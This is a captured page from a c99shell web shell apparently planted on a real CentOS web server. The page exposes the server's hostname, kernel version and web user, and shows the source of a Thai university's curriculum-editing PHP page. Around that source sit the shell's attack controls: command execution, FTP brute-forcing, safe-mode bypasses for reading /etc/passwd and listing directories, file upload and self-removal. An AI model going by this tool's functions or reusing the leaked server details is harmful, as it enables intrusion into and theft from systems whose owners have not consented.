!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/reg-tools/   drwxr-xr-x
Free 51.22 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editCurriculum.php (17.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<div id="modalDel" class="modal fade">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header flex-column">
                <button type="button" class="btn-close" data-dismiss="modal" aria-label="Close"></button>
                <div class="icon-box">
                    <i class="bi-x-circle" style="color:red; font-size:70px;"></i>
                </div><br />
                <h4 class="modal-title text-center">Are you sure?</h4>
            </div>
            <div class="modal-body text-center">
                <p>ต้องการลบข้อมูลนี้ใช่หรือไม่</p>
                <form method="post" name="delForm" id="delForm">
                    <input type="hidden" name="curId" id="curId" />
                    <input type="hidden" name="action" value="deleteCur" />
                </form>
            </div>
            <div class="modal-footer justify-content-center">
                <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
                <button type="button" id="btnConfirmDel" class="btn btn-danger">Delete</button>
            </div>
        </div>
    </div>
</div>

<div class="modal" id="editCurriculum" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-xl">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">แก้ไขข้อมูล</h5>
                <button type="button" class="btn-close" data-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <div class="container">
                    <form method="post" name="editCurForm" id="editCurForm" action="javascript:updateCur();" class="row g-3 needs-validation" novalidate>
                        <input type="hidden" name="action" value="updateCur" />
                        <input type="hidden" class="form-control" name="curId" id="curId" required />
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup01" class="input-group-text">ชื่อหลักสูตร (ไทย)</label>
                                <input type="text" class="form-control" name="curNameT" id="curNameT" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup02" class="input-group-text">ชื่อหลักสูตร (อังกฤษ)</label>
                                <input type="text" class="form-control" name="curNameE" id="curNameE" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup04" class="input-group-text">ชื่อย่อหลักสูตร (ไทย)</label>
                                <input type="text" class="form-control" name="curNameAbbrT" id="curNameAbbrT" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup05" class="input-group-text">ชื่อย่อหลักสูตร (อังกฤษ)</label>
                                <input type="text" class="form-control" name="curNameAbbrE" id="curNameAbbrE" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-12">
                            <div class="input-group">
                                <label for="inputGroupSelect01" class="input-group-text">วุฒิการศึกษา</label>
                                <select class="form-select" name="edgSelect" id="edgSelect" required>
                                    <option selected disabled value="">-- เลือก --</option>
                                    <?php
                                    $sql 
"SELECT * FROM rg_EduDegree";
                                    
$link->query($sql);
                                    while (
$data $link->getnext()) {
                                        echo 
"<option value='" $data->edgId "'>" $data->edgName " " $data->edgNameE "</option>";
                                    }
                                    
?>
                                </select>
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup03" class="input-group-text">ปีที่ปรับปรุงหลักสูตร</label>
                                <input type="number" class="form-control" name="curImproveY" id="curImproveY" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroupSelect05" class="input-group-text">ระดับการศึกษา</label>
                                <select class="form-select" name="elvSelect" id="elvSelect" required>
                                    <option selected disabled value="">-- เลือก --</option>
                                    <?php
                                    $sql 
"SELECT * FROM peoplecenter.Level";
                                    
$link->query($sql);
                                    while (
$data $link->getnext()) {
                                        echo 
"<option value='" $data->levelId "'>" $data->levelName "</option>";
                                    }
                                    
?>
                                </select>
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup06" class="input-group-text">สาระสำคัญของหลักสูตร (ไทย)</label>
                                <input type="text" class="form-control" name="curDescT" id="curDescT" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup07" class="input-group-text">สาระสำคัญของหลักสูตร (อังกฤษ)</label>
                                <input type="text" class="form-control" name="curDescE" id="curDescE" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-12">
                            <div class="input-group">
                                <label for="inputGroupSelect01" class="input-group-text">ประเภทบัณฑิตผู้สำเร็จการศึกษา</label>
                                <select class="form-select" name="ccSelect" id="ccSelect" required>
                                    <option selected disabled value="">-- เลือก --</option>
                                    <?php
                                    $sql 
"SELECT * FROM rg_CurriculumConfig";
                                    
$link->query($sql);
                                    while (
$data $link->getnext()) {
                                        echo 
"<option value='" $data->ccId "'>" $data->ccName "</option>";
                                    }
                                    
?>
                                </select>
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup08" class="input-group-text">หน่วยกิตรวมขั้นต่ำ</label>
                                <input type="number" class="form-control" name="curMinCredit" id="curMinCredit" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="input-group">
                                <label for="inputGroup09" class="input-group-text">คะแนนเฉลี่ยสะสมตลอดหลักสูตร</label>
                                <input type="number" class="form-control" name="curMinGPAX" id="curMinGPAX" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-4">
                            <div class="input-group">
                                <label for="inputGroup10" class="input-group-text">จำนวนปีเรียนตามปกติ</label>
                                <input type="number" class="form-control" name="curNumStudyY" id="curNumStudyY" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-4">
                            <div class="input-group">
                                <label for="inputGroup11" class="input-group-text">จำนวนปีสูงสุดที่เรียนได้</label>
                                <input type="number" class="form-control" name="curMaxStudyY" id="curMaxStudyY" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-4">
                            <div class="input-group">
                                <label for="inputGroup11" class="input-group-text">จำนวนภาคการศึกษาต่อปี</label>
                                <input type="number" class="form-control" name="curNumTmPerY" id="curNumTmPerY" required />
                                <div class="invalid-feedback">
                                    กรุณากรอกข้อมูลให้ถูกต้อง
                                </div>
                            </div>
                        </div>
                        <div class="col-md-12" style="text-align: center;">
                            <button type="submit" id="btnUpdateSubmit" class="btn btn-primary">Update</button>
                            <!--<button type="submit" class="btn btn-primary">Save</button>-->
                        </div>
                    </form>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                <!--<button type="submit" id="btnUpdateSubmit" class="btn btn-primary">Save</button>-->
            </div>
        </div>
    </div>
</div>

<div class="container">
    <p class="fs-3">แก้ไขข้อมูลหลักสูตร</p>
    <table id="curList" class="table table-striped display" style="width:100%">
        <thead>
            <tr>
                <th>No.</th>
                <th>ชื่อหลักสูตร</th>
                <th>ดำเนินการ</th>
            </tr>
        </thead>
        <tfoot>
            <tr>
                <th>No.</th>
                <th>ชื่อหลักสูตร</th>
                <th>ดำเนินการ</th>
            </tr>
        </tfoot>
    </table>
</div>

<!-- Bootstrap JS -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>

<script src="https://cdn.datatables.net/1.12.1/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/1.12.1/js/dataTables.bootstrap5.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>


<script>
    $(document).ready(function() {
        getDataAll();
        get();
        delCur();

        $('#edgSelect').select2({
            dropdownParent: $('#editCurriculum'),
            theme: "bootstrap-5",
            width: $(this).data('width') ? $(this).data('width') : $(this).hasClass('w-100') ? '100%' : 'style',
            placeholder: $(this).data('placeholder'),
        });

        $('#elvSelect').select2({
            dropdownParent: $('#editCurriculum'),
            theme: "bootstrap-5",
            width: $(this).data('width') ? $(this).data('width') : $(this).hasClass('w-100') ? '100%' : 'style',
            placeholder: $(this).data('placeholder'),
        });

        $('#ccSelect').select2({
            dropdownParent: $('#editCurriculum'),
            theme: "bootstrap-5",
            width: $(this).data('width') ? $(this).data('width') : $(this).hasClass('w-100') ? '100%' : 'style',
            placeholder: $(this).data('placeholder'),
        });

        $(document).delegate("[data-target='#modalDel']", "click", function() {
            $("#delForm [name=\"curId\"]").val($(this).attr('data-id'));
        })

    });

    function getDataAll() {
        $('#curList').DataTable({
            processing: true,
            ajax: {
                url: "api/curriculum.php",
                data: {
                    action: "getCurAll"
                },
                dataSrc: 'data'
            },
            columnDefs: [{
                targets: [0, 2],
                className: 'text-center'
            }],
            columns: [{
                    data: "No"
                },
                {
                    data: "curName"
                },
                {
                    data: "opt"
                },
            ],
        });
    }

    function get() {
        $(document).delegate("[data-target='#editCurriculum']", "click", function() {

            var curId = $(this).attr('data-id');

            // Ajax config
            $.ajax({
                type: "GET", //we are using GET method to get data from server side
                url: './api/curriculum.php', // get the route value
                data: {
                    curId: curId,
                    action: "getCurById"
                }, //set data
                beforeSend: function() { //We add this before send to disable the button once we submit it so that we prevent the multiple click

                },
                success: function(response) { //once the request successfully process to the server side it will return result here
                    response = JSON.parse(response);

                    $("#editCurForm [name=\"curId\"]").val(response.curId);
                    $("#editCurForm [name=\"curNameT\"]").val(response.curName);
                    $("#editCurForm [name=\"curNameE\"]").val(response.curNameE);
                    $("#editCurForm [name=\"curNameAbbrT\"]").val(response.curAbbr);
                    $("#editCurForm [name=\"curNameAbbrE\"]").val(response.curAbbrE);
                    //$("#editCurForm [id=\"edgSelect\"]").val(response.curEdgId);
                    $("#edgSelect").val(response.curEdgId).trigger('change');
                    $("#editCurForm [name=\"curImproveY\"]").val(response.curImproveY);
                    //$("#editCurForm [name=\"elvSelect\"]").val(response.curElvId);
                    $("#elvSelect").val(response.curElvId).trigger('change');
                    $("#editCurForm [name=\"curDescT\"]").val(response.curDescription);
                    $("#editCurForm [name=\"curDescE\"]").val(response.curDescriptionE);
                    //$("#editCurForm [name=\"ccSelect\"]").val(response.curCcId);
                    $("#ccSelect").val(response.curCcId).trigger('change');
                    $("#editCurForm [name=\"curMinCredit\"]").val(response.curMinCredit);
                    $("#editCurForm [name=\"curMinGPAX\"]").val(response.curMinGPAX);
                    $("#editCurForm [name=\"curNumStudyY\"]").val(response.curNumStudyY);
                    $("#editCurForm [name=\"curMaxStudyY\"]").val(response.curMaxStudyY);
                    $("#editCurForm [name=\"curNumTmPerY\"]").val(response.curNumTmPerY);

                }
            });
        });
    }

    function updateCur() {

        var $this = $("#btnUpdateSubmit"); //submit button selector using ID
        var $caption = $this.html(); // We store the html content of the submit button
        var form = "#editCurForm"; //defined the #form ID
        var formData = $(form).serializeArray(); //serialize the form into array
        //var route = $(form).attr('action'); //get the route using attribute action
        var route = "./api/curriculum.php";

        // Ajax config
        $.ajax({
            type: "POST", //we are using POST method to submit the data to the server side
            url: route, // get the route value
            data: formData, // our serialized array data for server side
            beforeSend: function() { //We add this before send to disable the button once we submit it so that we prevent the multiple click
                $this.attr('disabled', true).html("Processing...");
            },
            success: function(response) { //once the request successfully process to the server side it will return result here
                $this.attr('disabled', false).html($caption);

                // Reload lists of employees
                $('#curList').DataTable().destroy();
                getDataAll();

                // We will display the result using alert
                alert(response);

                // Reset form
                //resetForm(form);

                // Close modal
                $('#editCurriculum').modal().hide();
                $(".modal-backdrop").remove();
            },

        });
    }

    function delCur() {
        $("#btnConfirmDel").on("click", function() {
            var $this = $(this); //submit button selector using ID
            var $caption = $this.html(); // We store the html content of the submit button
            var form = "#delForm"; //defined the #form ID
            var formData = $(form).serializeArray(); //serialize the form into array
            //var route = $(form).attr('action'); //get the route using attribute action
            var route = "./api/curriculum.php";

            // Ajax config
            $.ajax({
                type: "POST", //we are using POST method to submit the data to the server side
                url: route, // get the route value
                data: formData, // our serialized array data for server side
                beforeSend: function() { //We add this before send to disable the button once we submit it so that we prevent the multiple click
                    $this.attr('disabled', true).html("Processing...");
                },
                success: function(response) { //once the request successfully process to the server side it will return result here
                    $this.attr('disabled', false).html($caption);

                    // Reload lists of employees
                    $('#curList').DataTable().destroy();
                    getDataAll();

                    // We will display the result using alert
                    alert(response);

                    // Reset form
                    //resetForm(form);

                    // Close modal
                    $(".modal-backdrop").remove();
                    $('#modalDel').modal().toggle();
                },

            });
        });
    }

    (() => {
        'use strict'

        // Fetch all the forms we want to apply custom Bootstrap validation styles to
        const forms = document.querySelectorAll('.needs-validation')

        // Loop over them and prevent submission
        Array.from(forms).forEach(form => {
            form.addEventListener('submit', event => {
                if (!form.checkValidity()) {
                    event.preventDefault()
                    event.stopPropagation()
                }

                form.classList.add('was-validated')
            }, false)
        })
    })()
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--